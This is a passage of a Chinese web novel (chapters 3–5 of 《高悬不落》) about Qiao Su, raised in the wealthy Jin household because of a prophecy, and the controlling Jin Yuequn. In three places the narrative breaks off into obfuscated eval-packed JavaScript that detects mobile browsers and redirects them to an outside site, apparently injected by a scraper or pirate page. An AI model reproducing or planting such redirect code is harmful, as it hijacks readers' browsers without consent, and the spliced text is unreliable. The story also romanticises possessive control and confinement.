《高悬不落》 3. 第三章:轻重 昨天晚上折腾到半夜,早上外头天还黑着,身边的乔苏就开始忙活了。 他套上衣服,趴在靳越群耳朵根儿:“靳越群、靳越群,我和靳晓北还有彭文他们去后山那头抓鱼啊…” 靳越群那几天是和他爸出去的,他爸的司机半中途老娘住院,只得他来开车,晋省那边好多矿厂办公室门前要买煤的老板都拉着成箱的现金排队,没办法,现如今什么厂子离了煤都转不了,为了赶时间,他好几天开的都是夜车,都没睡过一个囫囵觉。 好不容易回家来,他正困得睁不开眼,捞着乔苏的脖子按在怀里,另一只手摸着看了下表。 才五点半,鸡都没叫。 “你们去这么早干什么?” “哎呀你别压着我,去的晚就没鱼了,说不定还有小螃蟹呢,我抓几只回来养,我跟你说了啊,你别说我没告诉你啊…” 乔苏下床蹬上鞋。 靳越群真服了他了,让他好好念书他不是磨磨蹭蹭就是屁股像有钉子,一说干闲篇儿,跑的比兔子还快。 “等会儿,饿着能进山吹风?我下去给你炒个菜,把馒头热热,你吃了再去,很快…” 靳越群顶着困意坐起来,随手往身上套了个背心。 “不用啦,我们去靳晓北家吃,他妈蒸了鸡蛋和山芋,我们带着路上吃,昨天说好了的,我走了啊,亲一下你,拜拜…” 乔苏怕靳越群不同意,学着昨晚那样,飞快地在他唇上亲了一口,说拜拜俩字的时候人就已经没影了。 他可不要亲那么深,昨晚亲那么深,晚上睡觉的时候他都感觉靳越群真的像要吃了他。 乔苏说的后山严格来说也不算山,他们这儿是平原地带,翻过一个小土坡就是镇子里承包的鱼塘,他们不在鱼塘里抓,就撸着裤腿在溪水里,春夏交际的溪水像冰镇的,泡进去凉快的很。 乔苏一上午运气还不错,抓了几条黄瓜鱼,还有一窝小螃蟹,螃蟹有指尖那么大,壳都是透明的。 回到家,靳越群已经没在了,他一放假比上学还忙,乔苏把抓来的鱼和螃蟹倒进塑料桶。 屋里电话响了。 “到家了?” “当然啦,不然是谁在接电话…!” 靳越群就是问他到家没有,乔苏看了一圈:“李姨呢?她怎么没在家?” “让她回家了。” “那这些天我们怎么吃饭呀?” 靳越群又不是有空天天回来给他做。 “一会儿有人给你送,你在家等着。”靳越群似乎那边有事,有人在喊他了:“你听到是谁再开门,别给我瞎开,听到没…” 挂断电话,乔苏握着听筒无语,他是三岁小孩么?随便给人乱开门? 不过李姨被辞了他还是有点伤心的,毕竟她炒的小炒鸡真的很好吃。 也就这一两年吧,靳越群换给他们煮饭打扫的阿姨总是换的很勤,一个阿姨待不到半年,就被辞了,好像靳越群就不想谁在这里久做,不过乔苏也不管这些,这些生活上的事都是靳越群在操心的。 等他把抓来的小螃蟹和鱼分成两个桶,门口有人喊。 “乔苏,我…!潘黑子,靳哥让我给你送饭来了!” 潘黑子肩膀上架了个托盘,全是从饭店刚拿过来,还烫着。 “我给你放桌上了啊,这羊肚汤烫的很,你慢点喝…” “知道,谢了啊。” 乔苏看他站着没走:“咋啦,还有事?” 潘黑子挺不好意思的:“乔苏,小时候咱们也一块玩过的,其实我想跟你商量个事…” 潘黑子和乔苏老家都是平曲县的,当时潘家的嫂子是乔苏的一个什么远房婶子。 “啥事?你别扭扭捏捏的行不行。” “…就是你知道我们家,我跟我弟脸上打娘胎里就有带下来的这块遗传,好多厂子一见根本就不要。” 潘黑子说的是他左边半边脸,有一块黑乌青,他原来也不叫黑子,但大家都这么叫。 “我听说靳家的厂子现在正要招人,大家都抢着去呢,乔苏,你能不能帮我跟靳哥说说,把我弟也招进去?他今年也不小了。” “那你直接跟靳越群说啊,我又不在他厂里。” “我这不是、”潘黑子挠了挠脖子,看桌上的四菜一汤,两个都是荤的,就乔苏一个人吃:“我这不是不敢给靳哥说么,上次我爸已经跟他说了招我进厂的事,我再说我弟,不知道靳哥会不会答应…而且靳哥…,我,我光看着他,没张嘴,心里就先发怵好几场了…” “哈哈,没事,他从小就爱冷着一张脸…!他就长那样,那回头我跟他说。” 潘黑子见他答应,高兴地谢过乔苏,才走了。 出门前,他看着乔苏慢悠悠地挑着菜里的牛展肉吃,屋子里凉气也舒服的很,他刚才只是站了一会儿身上的汗就落了,可看了半天,他压根都不知道这凉风是打哪儿吹出来的。 唉,小时候不懂,他现在越大越能理解他爸说的那句话了,有时候这人的命吧,还真是打从娘胎里就注定了的。 你看乔苏,就凭一个算命瞎子说的什么“命数”,就能让靳家这样的人家接到了家里像个小少爷似的养了这么多年,真让人没处羡慕去。 - 乔苏的快乐日子没持续几天,由于他每天乐此不疲的“早出晚归”,不是上树掏鸟就是下河抓鱼,整天在外面野的没边,一块儿玩的都是十七八岁不知天高地厚的年纪,乔苏很快就把自己弄得光荣负伤了。 靳越群赶到县医院的时候,乔苏已经拍完片子了,崴着的右脚架在凳子上,老大夫正对着片子看。 “怎么搞得?” 靳晓北他们当时听见乔苏喊脚疼的时候吓的魂都飞了,靳晓北磕磕巴巴地:“踩着个石头缝,我当时撒尿去了没扶住他…” 靳越群往下扫了一眼,不知道是在看乔苏的脚,还是在看乔苏因为疼抓住的靳晓北的手臂。 靳晓北蹭一下就给乔苏的手赶紧扒拉下去了。 “靳越群…!我的脚好疼!” 乔苏本来就抹在眼泪,一看见他来,泪掉的更凶。 剩下的几个一个个被靳越群的脸色吓得话都说不利索,跟小鹌鹑似的挨个喊了靳哥就逃了。 “舒服了?一天到晚出去瞎跑…!” “你还骂我,你知不知道我多疼啊,我的脚是不是要残废了?我刚才都差点疼晕了…!” 老大夫砸着嘴:“小伙子,你的脚离残废还远的很,就是崴着了,看片子骨头也没事,下午回去歇歇就行了,给你开瓶红花油,让你哥回去给你揉揉,活活血,明后天就不疼了…” 乔苏撇嘴:“他是我弟…” 老大夫推了一下老花镜,也没听清,靳越群担心地问:“大夫,那用打石膏吗?他这儿还划伤了,会不会发炎?” “石膏?不用,你弟这也不伤筋动骨的打什么,哪儿划伤了?就这儿啊…?不流血不破皮的,柜子里有碘伏,你实在不放心给他脚背上沾沾就行了…” 后头是个抱小孩看病的妇女,急得很,靳越群手里拿着一瓶红花油和两个沾了碘伏的棉签,背着乔苏在医院走廊的长凳上坐下。 “真的没事啊?哎你要干嘛啊…!” “动什么…!没听大夫说要给你揉揉?先消毒,揉开了晚上就好了…” “那我不要你揉,有没有大夫能揉啊?我脚腕那么细,你手劲儿那么大,你再给我揉断了怎么办啊…” “我能给你揉断?” 靳越群抬手,没落:“断吧,断了正好,我在家里养着你,省的你成天出去瞎野。” 搓热了红花油的手掌贴上乔苏的脚腕,靳越群的掌心有薄茧,微微粗粝的、热热的,麻麻的,那股热乎劲儿慢慢渗进皮肤。 “你怎么这么狠心啊,亏我刚才一摔就好想你了…” 靳越群最看不得他哭,靳父从小就把他扔进了厂里,他初中没毕业就干遍了厂子里最脏最累的活,渣罐、冲床,做冲孔时虎口险些被钉穿,到现在都还留有个疤,但这会儿他握着乔苏的脚腕,一时该轻了重了都有点分不清。 “怎么了这是,真疼了?” 他赶紧从兜里掏出手帕给乔苏擦鼻涕。 “你擦的好重,我鼻子都要歪了…!哎哎,你揉的能不能也轻点呀!我脚要断了…!” “已经很轻了…” 没一会儿,一个端着托盘的护士疾步路过。 “哎,家属,你这么给他轻轻摸两下有什么用啊,一点活血散淤的作用都没有,白浪费东西,他回去也得疼,你得这样才行,看,这样…!” 护士把托盘往靳越群手里一杵,涂着红花油的手麻利地贴上乔苏崴伤的脚腕,靳越群还没出声,乔苏的惨叫就已经杀出来了! “啊——!护士姐姐!痛痛痛!!好痛好痛!” “大小伙子哪儿那么怕疼啊,忍忍啊,马上就好了…!” 护士给乔苏揉了两下,又给靳越群示范了一下手法和力道,她那边还要给病人扎针呢,就走了,靳越群看乔苏虽然疼的龇牙咧嘴的,但脚确实比刚才能活动多了。 “谢谢,麻烦您了。” 护士前脚刚走,乔苏一个拳头就捶在他身上了。 “靳越群!你哑巴了啊!我刚才叫那么惨你没听到?她的手劲比你大多了!疼死我了…!” 靳越群坐下来,握着乔苏的手,把他的腿重新搁在自己的大腿上,手学着护士那样,刚贴上脚腕,乔苏就又捶了他一下:“你敢那样给我揉试试看…!” “别给我闹啊,这在医院里,” “我管在哪儿!我疼啊…!” 乔苏又要哭,靳越群没法子,只好放低了嗓音哄他:“乖,忍忍,就忍一下,几分钟的事,听话…你还想晚上疼?” 乔苏才不听他的呢,刚才护士给他揉,他没办法,换靳越群给他揉,乔苏就不怕了,稍微一疼他就叫,疼也不憋着,疼就打靳越群。 等靳越群给他揉完了,他那皮夹克让乔苏打的快不能看了,额头上冒的汗比乔苏还多。 对面还有陪怀孕的老婆来产检的丈夫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门口迎宾的女服务员穿着曼妙的旗袍,一看这两个男孩这么年轻,个子高那个五官高挺,透着一股子冷意,他背上的男孩倒生的红唇齿白的,漂亮的很,就是光着脚,裤子还破了。 “你们来找…” 后头的经理看见,就笑着迎上来了:“小靳!这儿,房间我都准备好了…” 靳越群背着乔苏就跟着他去了。 女服务员看着经理一脸谄媚,想,估计又是哪家的少爷吧,毕竟他们这儿可不是谁都能随随便便消费的起的。 经理把菜都安排好就出去了。 乔苏也没穿鞋,刚才有经理在不方便,现在人走了,不等他伸手,靳越群就掐着他两个胳膊下头给人圈在腿上坐了。 桌上摆的点心是蟹黄烧饼,靳越群掰开了,先喂了乔苏一小块儿,他才吃。 乔苏嚼着:“刚才的经理你认识呀?” “认识。” “感觉他口音不像我们汉北的…是南方人?” “浙东那边的,具体我也记不清了。” 服务员敲门上菜,乔苏要下去,靳越群锢着他,没让:“鞋又没穿,你乱动什么。” 服务员就跟没看见一样,微笑地把两盅汤先上了。 “对了,现在你们厂里是不是还在招人呀,潘黑子说他弟不想念书了,也想进,让我跟你说说,把他弟招进去。” “他什么时候跟你说的?” “就前两天吧,我都差点忘了。” 靳越群给他舀了一勺鱼汤,他不在意乔苏忘不忘记这个,他在意的是别的事。 “你什么时候见他的?怎么没跟我说?” “又不是专门见的,不是你让他给我送饭的吗。” 靳越群想了下,那天他让厂里的五子去,估计他又叫了潘黑子。 “你跟潘黑子很熟?” “没吧,就小时候一块儿玩过…哎呀,你到底答不答应啊,屁大的事…” 一会儿服务员又进来上鱼,鱼是用石锅上的,上面还盖着竹篓,乔苏挺新鲜的,靳越群见人走了,伸手掰过他的下巴。 “我跟你说过不止一次,你出门,跟谁相熟,讲了什么,都要告诉我,这两天除了靳晓北他们还有谁是你漏了的?” 靳越群的手掌很大,一只手几乎能盖住乔苏的小半张脸。 乔苏最受不了他这点,靳越群从小就是他去哪儿做什么讲什么都得跟他汇报,他有时候真觉得靳越群上辈子是不是管监狱的投胎的…! “行行行,我以后跟猪讲两句也跟你说,跟鸡讲两句也跟你说,行了吧,我今天上午还跟我那一窝小螃蟹说话呢,要不要也跟你说啊…!” 靳越群什么都能顺着乔苏,唯一不喜欢乔苏在这个问题上跟他顶着来。 乔苏扒开他的手,自己拿着勺子:“蟹语?听得懂不,哈哈,还有鱼语,你讨好下我,我勉强考虑考虑教你…” 看乔苏的样子也不像是撒谎,加上脚又伤了,靳越群就暂时压着,没跟他计较。 4.第四章:休养 乔苏这一崴脚,虽说没有多严重,也只得在家里养着,他翻出他珍藏的故事会,就是在镇子上的旧书摊买的,里头的故事不是多角恋的情杀就是仇杀,还有鬼啊怪的,几世轮回,乔苏把泼天的狗血翻来覆去的看完了,也才过了两天。 “靳越群…我今天能出门了吗?” “不能,伤筋动骨一百天,你好好在家再安生养两天。” 乔苏无聊地把闲书扔一边,在床上滚了半圈:“那我也没有伤筋也没有动骨啊,上午去医院,大夫都说我的脚没事了,你看,我现在踩在地上也没事了…” 他站起来要在床上踩,靳越群“啧”了一声,原本要出门,又赶紧揽着他的腰给他从床上抱下来,让他坐在床上,蹲下身,握着他的脚心去看。 外面看着是没事了,但昨晚给他揉,他还是有点疼。 “不行,再歇两天。” “我现在是做错事了在被罚吗…” 乔苏吸吸鼻子:“我不想在家待着,你又要关着我了吗?我最近又没做错事…” 靳越群抽了下嘴角:“哪里关着你了?脚是谁崴的?” 乔苏憋半天,有点尴尬,只好用那只没伤的脚蹬了靳越群一下,偏头倒在枕头上:“就是你…!你之前说只有我做错事你才会关我禁闭的,现在我就是在被关禁闭…!你不讲道理…!” 到底是谁不讲道理? 不过乔苏说的也不假,靳越群这个人,平常乔苏把他惹急了,他最多也就是揍两下屁股,不疼不痒的,但那都不是他真生气。 真把靳越群惹火了,他会关乔苏禁闭。 他说关就是关,任乔苏怎么哭怎么闹都别想从这栋小楼里迈出一步来,这对乔苏这种一天不出去跑就憋的浑身难受的性格来说,可比揍几下屁股要折磨一万倍。 乔苏十六那年惹火过靳越群一次,当时有人叫他去水库那边玩儿,他没提前跟靳越群说一声就去了,谁知道脚下一滑,掉下去差点淹死。 幸好被旁边勘测站的管理员看见给救了。 回去他让靳越群狠狠揍得屁股开花不说,整整一个星期他都被关在家里,学校也请假,乔苏简直要憋疯了,每天挂着两行眼泪,爪子挠着大门,写了好几封保证书,但靳越群硬是一天都没心软。 “你好烦,干嘛总翻旧账…!” 到底是谁在翻? 可乔苏这两年也确实是跟谁做什么说什么都有乖乖跟他讲。 “别乱蹬,再蹬着脚怎么办…?那你下午想去哪儿?我今天厂里有事,我叫人陪着你。” 乔苏一下子就有精神了。 “我想去摘榆钱叶…!” 这时节,嫩绿的榆钱叶正挂满枝头,好多人下班了就去摘,回去洗两遍,不管是蒸榆钱菜团还是炒鸡蛋,都特别鲜灵。 “现在哪里还有,都被别人摘完了。” “有,真的有!” 乔苏坐起来,搂着靳越群的脖子:“我知道一个别人不知道的地方,你记不记得王叔承包的那片果林后头?就在那个果林西边的一条小路,往里一直走,再拐弯,就有一片,那地方他们都不知道,就我知道!” 靳越群想了一会儿才想起来他嘴里的王叔是谁,那片果林在哪儿。 “那么犄角旮旯的地方你也找得到?” “我跑的多嘛。” 他还有点得意。 “那片都到徐水镇了,太远了…” “那你教我骑自行车?我自己骑车去…” “现在教怎么来得及,再说你的脚…” “我的脚已经没事了…!去嘛去嘛,再去晚了那边就真的没了,我还想吃你做的凉拌榆钱呢,一年只有一次的嘛…!” 那边,自从那天崴脚,靳晓北也不放心乔苏,前两天不敢来,怕撞他哥枪口上,下午想着他哥估计去了厂里,才提着一兜他妈刚蒸的包子过来看乔苏。 到门口喊了两声,没人应,难道出去了,崴脚还去哪儿? 等了一会儿,太阳都要落山了,他看见上坡的小路上,他哥背着乔苏上来了。 他哥托着乔苏的两条大腿,手里拎着两大袋满满的榆树枝,上头挂的都是鲜嫩绿油的榆钱叶,风一吹几朵露水一样的落,乔苏脸上的笑脸灿烂极了,手里也拎着一袋,只是比他哥手里的少的多。 “靳晓北!你来的正是时候,看我和你哥摘了多少,一会儿你拿走一袋给你妈啊…” 靳越群给乔苏放在院子里的板凳上。 “注意你的脚。” “知道啦知道啦。” 乔苏挑了一枝顶好看的,打算一会儿放进他的鱼桶里,靳晓北也坐下帮着摘,看着他哥洗手进了西边的厨房。 “我哥做饭啊?” 他没想过他哥居然会下厨,他们汉北这边好多男的都还信奉男人远庖厨那老一套,觉得锅台晦气,比如他爸。 “是啊,你哥做的红烧鱼可好吃了…!” 他哥还会做红烧鱼? “你们不是请了个做饭的阿姨吗,人呢?” “走了,还没找的新的呢,咋啦?” 靳晓北想问什么,又没问,其实他挺喜欢做饭的,但是他有时候偷着一进厨房,他爸就劈头盖脸地骂他,说他没出息。 晚上靳越群烧了鱼,煮了米粥,还把靳晓北带过来的包子搁锅上热了热,三个人够吃了,靳晓北意外地发现他哥的厨艺真挺不错的。 “我就说你哥做饭好吃吧,你哥做什么都做的好,就是刷碗都比阿姨刷的干净,还快…!” “我哥在家还刷碗啊?” “嗯啊。” 乔苏好吃的眼睛都眯起来,靳晓北看着他哥夹鱼给乔苏,夹的基本上都是鱼肚子上没刺的。 他妈蒸的包子皮薄馅多,乔苏吃了两个有点吃不下了,他哥顺手拿过就接着吃了。 “玩这么长时间也够了,过两天你就带着乔苏去张老师家补课去。” 饭桌上两双筷子一停,俩人异口同声:“啊?” “啊什么,快高考了,多练点题,摸清楚套路,总没坏处。” “哥,那我就不用去了吧,我才高二啊…” “高二怎么了,你那成绩能看吗,考不上大学,你打算一辈子在这儿窝着?” 靳晓北不说话了,但关键他爸不像靳伯父那样有本事啊,他爸就是个养鱼的,他以后不在这儿他去哪儿? “补什么课啊,谁放假没事去老师家里补课的,我俩才不去…!” 靳晓北在心里默默给乔苏比了个大拇指,虽然乔苏这个人不靠谱的时候多,但关键时刻还是得靠他。 “补,张老师那儿我说好了,钱都交了,你在家再休息两天,让靳晓北骑车带着你,你俩三餐也在那儿吃。” “靳越群!我都已经考了一年了,我真不是学习的料子,我往哪儿一坐看见那些字排成一团我就头疼,还有那个作文,我真一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467462|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字也憋不出来…” “作文写不出来那么厚的小说就看的进去了?” 乔苏嚼着鱼肉:“那又不一样…!” 靳越群不理他这些歪理:“语文我不说你了,也不是突击的事,你就主要复习数学,把理科那几门的分拉上去,数学对你也不难,去张老师那儿多练练,把那几个出题的套路搞懂了,看题再细心点,也差不多够线了,到时候报哪儿我再给你估。” 乔苏眼前都要发黑。 现在是考虑报哪儿的问题吗?他们县高一年才有几个人能考上学啊,别说大学,就是能考上个大专的都是人中龙凤了,这不是强人所难么! “我不要考学!” “考,考不上明年你就接着复读。” 乔苏傻眼了。 “我不!管它文科理科,今年我一个也不想学!” “那你想干什么?” 乔苏被问的一时语塞,说实话,他好像从没想过他想干什么。 不过他们不才十八九岁吗? 就这样一直下去不行吗,想那么久远的事情干什么呀…! “我不能和你一样?你早早就在帮你爸做事了,那我以后也要进厂打工。” 乔苏随口胡诌,虽然他没想过,但他知道进厂打工就代表能赚钱,他们班好多同学都在接爸妈的班进厂了,许多进的就是靳家的厂。 “你歇吧,除了念书没得选。” “为什么!” “因为这条路最轻松、最简单,适合你。” 轻松?念书哪里轻松了? 尤其是对乔苏,他是漫山遍野跑一天不觉得累,但你要让他坐那儿背什么劳什子古诗词,他不出三分钟就“难”的直想哭。 乔苏这会儿真的想哭了。 “靳越群,你确定你真的是十八岁?不是八十八岁?” 一旁的靳晓北差点憋不住笑出声,赶紧忍着,拼命往嘴里拨饭。 靳越群挑眉,乔苏撇着嘴:“不然怎么你每次一开口都像我的爹…!” 不,乔爹还真没这么管过他的事,当年乔爹把刚六岁的乔苏放在靳家就走了,这些年乔苏一回去,他们就让乔苏赶紧回靳家。 “你想叫我也不反对。” 靳越群又给他加了些菜:“别光吃肉,得吃菜。” 乔苏想了想,吸吸鼻子,似乎做了一个重大决定。 “那我要真叫你爹,就能不读书,不考学吗?” “噗!”的一声,靳晓北嘴里的稀饭全喷出来了。 “对不起对不起,我呛着了…!” 靳越群眉心一跳,筷子停住。 “乔苏你…” 乔苏刚要张嘴,就被靳越群眼疾手快地给伸手捂住了。 “唔、唔唔唔!!” 乔苏在夹缝里喊:“你干嘛…!我就要叫你爹!你别拦着我…!” 靳晓北憋笑憋的碗都快捧不住,米粒从鼻孔里喷出来…再看他哥,黑着一张脸,乔苏在那儿闹腾,八成是咬着他哥的手了,靳越群干脆起身,踢开板凳,一只手抱着乱扑腾的乔苏,一只手端着他没吃完的饭碗,估计回屋里收拾他了。 他哥打小就性子冷,跟他们这些同姓的小辈谁也不怎么亲近,唯有一个乔苏,敢跟他哥这样闹。 想到他哥这样冷情冷心的人居然这么多年都能忍得了跟乔苏这么个大活宝生活在一个屋檐下,也真是、真是“忍功了得”啊…! 5.第五章:命格 补课是要补的,考学也是要考的,反正他们两个只要是靳越群决定的事,哪一个都是必须要做的。 到底为什么他要这么听他的话…! 他是皇帝吗?! 乔苏一天在心里捏出八百个小人狂揍靳越群,等脚好了,靳越群不知道是被“揍的”,还是看乔苏在家待久了不大高兴,反正他又带着乔苏去国营的八一商场买点心去了。 乔苏买了两大包桃酥加上各式干果点心,还有一罐申州牌的麦乳精。 这东西宣传有营养,冲着喝又香又浓,甜丝丝的,逢年过节汉北好多人都流行送这个,小孩子串门要看见谁家桌上摆着麦乳精,眼睛都放光。 抱着点心上车,靳越群在后面说:“这些都要好好考学才有的,听见没?” “哼!” 靳越群叹气:“你听话,好好考,只要你能有个书念,我也不要求你念的怎么样,你就在学校里待着,到时候你想做什么我都依你。” “那你想让我考汉城的哪个学校?” 乔苏以为靳越群会说那几个电子职校之类的,没办法,他偏科太严重了,尤其是语文最差,这几个还能靠点边。 “考完再说,我在哪儿你在哪儿。” 乔苏觉得这有点不像靳越群的性格,难不成…他是想让自己考汉城最有名的,汉京大学?! 那可是排在全国前三的的重点大学,不是他们县里随便进的广场好吧…! “靳越群,你就是把我逼的去上吊我也考不上汉京大学…” 靳越群笑,捏他的脸颊,揪着不放:“知道,我也不那样逼你,你只要做题细心点就行了,看你辛苦我心里也不好受。” 乔苏松了一口气,又趁势问:“那我能不去补课吗?补课也好辛苦的。” “不能。” “……” 果然这厮的温柔都是假象…! 假期泡汤,乔苏只能“化悲愤为食欲”,这两天饭都比平时多吃了两碗,他已经想好了,他要多吃!不然他以后在靳越群那儿就更不要提反抗了,他要走农村包围城市路线,争取以后就算“吵”不过靳越群,也要“打”的过靳越群,历史伟人毛主席说过,枪杆子里才能出政权,一切反动派,都是纸老虎! 靳越群还不知道他已经给乔苏大字一张,贴上了“反动派”和“纸老虎”的标签,他要是知道,估计得先问问他,怎么骂他的时候一套接着一套,一到考试就掉链子? 中午的时候靳晓北就来了。 “乔苏,走了,我哥让咱俩从今天开始去张老师家补课,吃饭…” “我不去…” 乔苏翻着故事会,拿了一块桃酥饼干放嘴里。 “这个咋这么香,给我尝一块…比咱那儿干货铺卖的桃酥好吃多了!乔苏,你在哪儿买的?回头我让我妈也去买点。” “八一商场,狗买的。” 得,他都白问。 “走走走,你赶紧穿鞋,一会儿迟到了。” “哎呀你别拉我,你先去吧,我正看到精彩章节呢,你就跟张老师说我肚子疼,下次再去不得了。” 靳晓北看架不动他,从书包里掏出一个小本:“我也治不了你,你不去我跟我哥说了啊,五月十五号上午八点半,我叫乔苏去张老师家吃饭,乔苏死活不肯去…” “靳晓北,你要当史官啊!” “我哪儿算的上官啊,我顶多就算一陪读,还是你这个大少爷的陪读…真不去?” “不去…!” 靳晓北继续写:“八点三十三,我对乔苏苦言相劝,乔苏无动于衷…” 乔苏真服了,拿着手边的闲书去扔他,靳晓北躲过,写:“还对我拳脚相加,破口大骂…” 没一会儿,乔苏骂骂咧咧的背上书包,坐上了靳晓北破自行车的后座。 “你就是你哥的走狗…!” “走狗好啊,走狗放假还不用去老师家补课呢,你就好好学吧乔苏,算我求你了,你再复读,明年放假我估计还是咱俩…!” 算了…他和靳晓北也属于“同病相怜”。 “靳晓北,你说你哥为啥非要让我考学?” “那还不简单,我哥今年就高考了,以他的成绩估计就是汉京大学了,大伯也在汉城,我爸说现在靳伯的生意做的可大了,靳哥一定要去了,不然靳家的家业以后都得让那个女人和她的儿子占走了…” “你说靳越贤?可他也不是靳伯的亲生儿子啊…” 他们说的靳越贤是靳越群的继母嫁给靳父之前,和头一个前夫生的儿子,嫁给靳父之后就给儿子改了姓,还按靳家的祖谱排了个“越”字,比靳越群大四岁。 乔苏不懂这个,但靳晓北懂啊。 “你咋这么笨,你没听那句老话啊,有了后妈就等于有了后爹!虽然他是那个女人带过来的儿子,但是他比靳哥大,这就抢了个先啊,而且他现在可是天天在大伯眼前,我听说大伯好像都把徐水一个厂子给他管着了…” 乔苏想了想,炎热的风吹着发梢,莫名的心头有点闷。 “那我不上学,就不能跟着他去汉城了?” 靳晓北蹬着自行车,他虽然没谈过恋爱,但也见过猪跑,其实他有点觉察他哥和乔苏之间像是有些不一般,那种他根本…根本没法形容的亲密,总觉得,好像远远超出了寻常的兄弟之间…? 但他心里也不敢确定,又或许是这种事在小县城里实在太过惊世骇俗,他连想都不敢想,也不知道该怎么说。 “乔苏,你是男孩,我哥也是男孩,你也不能一辈子就这么跟着我哥吧…,就算跟,也总要有个由头,是不是…?” 张老师住的是老丈人的房子,临近塑磨厂,灰烟常被风带着落在这片,不过整个安县就这样。 一下雨一城的泥。 张老师是个很清瘦的男人,戴着厚厚的镜片,在学校教数学和物理,讲起课来像唐僧念经。 乔苏听着听着,思绪就又飘远了。 由头,什么由头? 当年靳妈妈把他接过来的时候,不是就已经有了一个“由头”了吗。 乔苏是六岁那年来到靳家的。 这事在当时还有点玄乎,靳父当年在部队,年轻有为,一次受邀去汉城参加市里的文艺晚会,一下子就看上了台上宛如天仙下凡的靳母。 靳母当时才二十出头,是市歌舞团的台柱子,比靳父小五岁,经过靳父的一番苦苦追求,终于抱得美人归,婚后靳父退伍从商,不久,靳母就怀孕了。 小心翼翼地养了好几个月,谁知到生产那天,难产了。 靳父在外头急得拳头都打出了血,抓着出来的医生吼保大人,他要大人! 好在当夜母子平安,出院那天,靳母抱着刚出生的儿子,小轿车的司机不知怎么晃了眼,没注意,撞上一个瞎子。 靳母刚得了孩子,就让司机下车给他点钱。 谁知道那个瞎子隔着车窗,就好像能看见里头的孩子。 他张口就报出了靳越群的生辰八字。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473683|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日几时,一分不差。 靳母觉得有缘,拿了个红包让他给算算,那一封红包里包的厚厚的,就是想让他说点吉利话。 没想到瞎子没收,他“看着”靳母怀里的靳越群,嘴里念念有词:“二十七、逢九年、通关道通奈何桥…阴邪作祟,阳极阴生,他活不过二十七…” 靳父当即就怒了,他老婆好不容易生了孩子,这不是咒他儿子短命?他下车狠狠给了那个流浪汉一拳,流浪汉被揍得鼻青脸肿,靳母拦着丈夫,想起自己在产房九死一生… 她把瞎子扶起来,将红包塞进他手里,问他这命数该怎么解? 瞎子收了钱,哆嗦着在她掌心写了个八字,写完了,他睁大那双青白眼:“…凤凰命格,涅槃不死,命宫火阳,只有他,只有他能有一次机会瞒过六道轮回…” 他念个没完,忽地抓着靳母的手:“天机不可泄露,我只看到半副天机啊…!” 靳父护着妻子,他是军人出身,就是从商也信人定胜天,最厌恶这些装神弄鬼,他让司机赶走了那个瞎子。 后来这件事夫妻俩也没有放在心上。 意外出现在靳越群五岁那年。 那年冬天不知道怎么回事,靳越群在夜里突然发起高烧,烧的浑身比火还烫,在医院里头上脚上叫针都扎的没了地方,但烧怎么都退不下去,连大夫都说孩子要再这么烧下去,恐怕是要没命了。 靳母哭成了泪人,她猛然想起来早年那个算命瞎子说的话,她把当时记得的八字翻出来,叫靳父去找,靳父当然不信这些,但看靳母人都快哭昏过去,只好让堂弟去。 当天晚上还真找到一个,他堂弟说,就在隔壁平曲县,孩子叫乔苏,六岁,生辰八字都能对得上,现在在来的路上了。 也是奇了,乔苏前脚刚到医院,后脚靳越群的烧就慢慢退了。 虽然靳父觉得纯属巧合,但经过这场儿子差点迈进鬼门关的事,靳母是信了那个瞎子说的话,有凤凰命的人能护着他儿子的命。 乔苏的亲妈死的早,他是继母养大的,他继母当年插队到这儿的,后来走不了,才嫁给乔父,又生了一对龙凤胎,那时候各家各户都穷的揭不开锅,她就更不喜欢乔苏这个隔肚皮的大儿子。 听到安县那边有人说想把乔苏接过去养,平常能回家,还会认他们爹妈,关键是还另给一套铺面,还出钱给他们翻新房,盖一幢二层小楼。 这简直就是天上掉馅饼的大好事…! 当时家里仅靠着乔父那点微薄的教书钱也根本养不起三个嗷嗷待哺的孩子,于是一切似乎都变得“顺理成章”,乔父就这么把乔苏送出去了。 当时乔苏才六岁,什么也不懂,乔父跟他说去了靳家,就能过好日子,不用再饿肚子。 乔苏就抱着‘不饿肚子’的心,坐上了他从没见过的小轿车,一个人来到了陌生的靳家。 想起第一次见到靳越群时,乔苏的头就有点疼,大概是那时太小了,想不起来了。 他们念小学时,靳父在城里的生意做大,去了汉城,同年,靳母和靳父离了婚。 靳母一个行李箱,回来抱了抱靳越群和乔苏,远赴他们从未听说过的美国。 三年后,靳父再婚,他很少回来,乔苏开始的时候也经常回乔家,但他总是待没一会儿,乔父和他继母就催着他赶紧回去,好像乔苏多在家里待一秒,那一幢新房和铺面就要收回去似的。 所以后来他有时候也不回了,他和靳越群就在这儿,不知不觉地度过了许多春夏秋冬。 6.第六章:迷梦 大概是白天的思绪飘得太远了,乔苏晚上做了一个很沉的梦。 